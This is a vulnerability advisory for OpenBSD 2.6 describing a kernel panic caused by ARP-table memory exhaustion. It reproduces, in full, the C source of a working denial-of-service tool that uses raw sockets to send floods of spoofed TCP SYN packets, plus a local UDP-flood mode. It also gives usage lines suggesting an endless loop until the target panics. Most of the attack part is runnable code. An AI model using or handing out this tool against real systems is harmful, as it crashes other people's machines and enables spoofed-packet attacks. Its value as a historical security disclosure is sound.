|
Vulnerability kernel (kmem_map) Affected OpenBSD 2.6 Description 'skyper' found following. It is a bug that occurs as panic every few seconds on OpenBSD box. This works on local lan or any host which can be reached through gateways with rp_filter = 0 [default on most linux routers and most other OS'es. Take a look at /proc/sys/net/ipv4/conf/default/rp_filter]. panic: malloc: out of space in kmem_map, Stopped at: _debugger+0x4: ieave This is nothing special. The kernel runs out of memory and panics. Usage is ./obsd_fun <target ip> <network> <count> Target_ip is the ...wtf..you know what it is. Network is the beginning of the network of the target_ip. Count is the number of hosts we spoof from. How does it work? While coding some scanning tool 'skyper' saw that linux was unable to handle 1000 arp-request/sec [arp-table overflow]. He thought obsd could be able to handle 1k arp-request/sec..but he was wrong. First DoS was a local one. All he did was sent packets to thousend of hosts on the same network. [it doesnt matter if the hosts exist or not]. The OpenBSD kernel paniced after a few seconds. 'skyper' left it as an exercise for the reader to reengineer the local DoS. [addon after a 'bratwurscht'-break: he took the exercise humself.] On subject of remote DoS; we send thousends of spoofed packets to the target machiene. The target machiene tries to answer these packets [with a tcp-syn, tcp-rst ,icmp-port-unreachable or whatever]. For that it needs the mac-address of the origin host. If this host does not exist the OpenBSD box will never get an answer and wait for the arp-reply until it timesout. Thats it. We simply overflow the arp-table/memory. 'skyper' used tcp-packets in this example. It also works with udp or icmp. /* * [local/remote] kernel-panic DoS against openBSD 2.6 * 20000802, anonymous@segfault.net * * How to use it?: * gcc -Wall -o obsd_fun obsd_fun.c * If the host-ip is 10.23.13.37 on a 10.23/16 network: * leetbox:~# ./obsd_fun 10.23.13.37 10.23.0.1 65534 * * A count of 20.000 works fine here. But my box only has 64 MB ram. * If this doesnt work try bigger values. * If this still does not work...try an endless loop: * while :; do ./obsd_fun 10.23.13.37 10.23.0.1 65534 ; done * [sound crazy..but it works. I was unable to DoS a obsd 2.6 on * a /16-network with 128 MB ram and a count of 65334...but after * 6-loops the box paniced] * * Local DoS: * Works like the remote one. But we use udp this time: * myfirstobsd:~$ ./obsd_fun 10.23.0.1 32000 * works fine on my 64 MB obsd 2.6 box. * * * Oh..i forgott something: * Basicly i dont like DoS-attacks or really lame (d)dos attacks. * It SUCKs. Thats really not what hacking is about. * * Greetings: yum. this is a DoS. to lame for greetings. * * */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __BSD_SOURCE #define __BSD_SOURCE #endif #include <netinet/in_systm.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define ETH_SIZE 14 #define IP_SIZE 20 #define TCP_SIZE 20 #define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x))) /* * Checksum stuff */ #define CKSUM_CARRY(x) \ (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff)) /* * leet net tuple */ struct net_tuple { uint32_t src; unsigned short int sport; uint32_t dst; unsigned short int dport; }; /* * pseudo TCP header for calculating the chksum */ struct _fakehead { uint32_t saddr; uint32_t daddr; uint8_t zero; uint8_t protocol; uint16_t tot_len; }; unsigned char packet[128]; /* * calc. checksum WITH carry flag. * call cksum = CKSUM_CARRY(in_cksum(blah)); */ int in_cksum(unsigned short *addr, int len) { int nleft = len; int sum = 0; u_short *w = addr; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) /* padding */ { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } return(sum); } void add_tcphdr(unsigned char *pkt, struct net_tuple *nt, uint8_t flags) { struct tcphdr tcp; struct _fakehead fakehead; int sum; memset(&tcp, 0, sizeof(tcp)); memset(&fakehead, 0, sizeof(fakehead)); tcp.th_dport = nt->dport; tcp.th_sport = nt->sport; fakehead.saddr = nt->src; fakehead.daddr = nt->dst; fakehead.zero = 0, fakehead.protocol = 6; fakehead.tot_len = htons(TCP_SIZE); sum = in_cksum((u_short *)&fakehead, sizeof(fakehead)); tcp.th_off = TCP_SIZE >> 2; tcp.th_seq = 31337; /* ###fixme */ tcp.th_flags |= flags; /* ADD the flags */ tcp.th_win = htons(0x3fff); sum += in_cksum((u_short *)&tcp, sizeof(tcp)); tcp.th_sum = CKSUM_CARRY(sum); memcpy(pkt, &tcp, sizeof(tcp)); } /* * add's ipv4-header of 20 bytes without any options * - IPPROTO_TCP and 40 bytes total length */ void add_iphdr(unsigned char *pkt, struct net_tuple *nt) { struct ip ip; memset(&ip, 0, 20); ip.ip_hl = sizeof(ip) >> 2; ip.ip_v = 4; /*ip->tos = 0;*/ ip.ip_len = htons(IP_SIZE + TCP_SIZE); /* htons ? */ /*ip->id = 0; done by kernel */ /*ip->frag_off = 0;*/ ip.ip_ttl = 0xff; ip.ip_p = IPPROTO_TCP; /*.ip->check = 0; done by kernel */ ip.ip_src.s_addr = nt->src; ip.ip_dst.s_addr = nt->dst; memcpy(pkt, &ip, sizeof(ip)); } /* * send out ipv4-packet * with data 'pkt' of length 'len' * returns the number of characters sent, or -1 if an error occured */ int send_ipv4(int sox, u_char *pkt, size_t len) { struct sockaddr_in to; to.sin_family = AF_INET; memcpy(&to.sin_addr.s_addr, (pkt + 4*4), sizeof(u_long)); return(sendto(sox, pkt, len, 0 , (struct sockaddr *)&to, sizeof(to)) ); } /* * for a local DoS. * we use udp this time [much easier, much faster, but only local:)] */ void local_dos(char *argv[]) { struct sockaddr_in saddr; int c=0; int sox; int iprunner; if( (sox = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf(stderr, "error creating socket\n"); exit(1); } memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(31337); iprunner = ntohl(inet_addr(argv[1])); while (c++< atoi(argv[2])) { saddr.sin_addr.s_addr = htonl(iprunner++); sendto(sox, NULL, 0, 0, (struct sockaddr *)&saddr, sizeof(saddr)); } printf("not working ?! wtf ! mailme asap anonymous@segfault.net\n"); exit(0); } void usage(int code) { printf("\n4local DoS:\n"); printf("obsd_fun <network> <count>\n"); printf(" obsd_fun 10.23.0.1 32000\n\n"); printf("4 remote DoS:\n"); printf("obsd_fun <target_ip> <network> <count>\n"); printf(" obsd_fun 10.23.13.37 10.23.0.1 65000\n\n"); exit(code); } int main(int argc, char *argv[]) { struct net_tuple nt; int sox; int on = 1; unsigned long iprunner; int c=0; if (argc < 3) usage(0); if (argc == 3) local_dos(argv); memset(&nt, 0, sizeof(nt)); if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr, "error creating socket\n"); exit(1); } if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { fprintf(stderr, "error setsockopt\n"); exit(1); } printf("nuking %s on network %s with %d ip's\n", argv[1], argv[2], atoi(argv[3])); nt.dport = htons(31337); nt.sport = htons(31338); if ( (nt.dst = inet_addr(argv[1])) == -1) { fprintf(stderr, "nah. use IP insteat of hostname.\n"); exit(0); } iprunner = ntohl(inet_addr(argv[2])); memset(packet, 0 , sizeof(packet)); while (c++< atoi(argv[3])) { nt.src = htonl(iprunner++); add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN); add_iphdr(packet + ETH_SIZE, &nt); send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE); } printf("done. Try an endless loop if box is still alive.\n"); return(0); } Solution This is fixed in OpenBSD 2.7.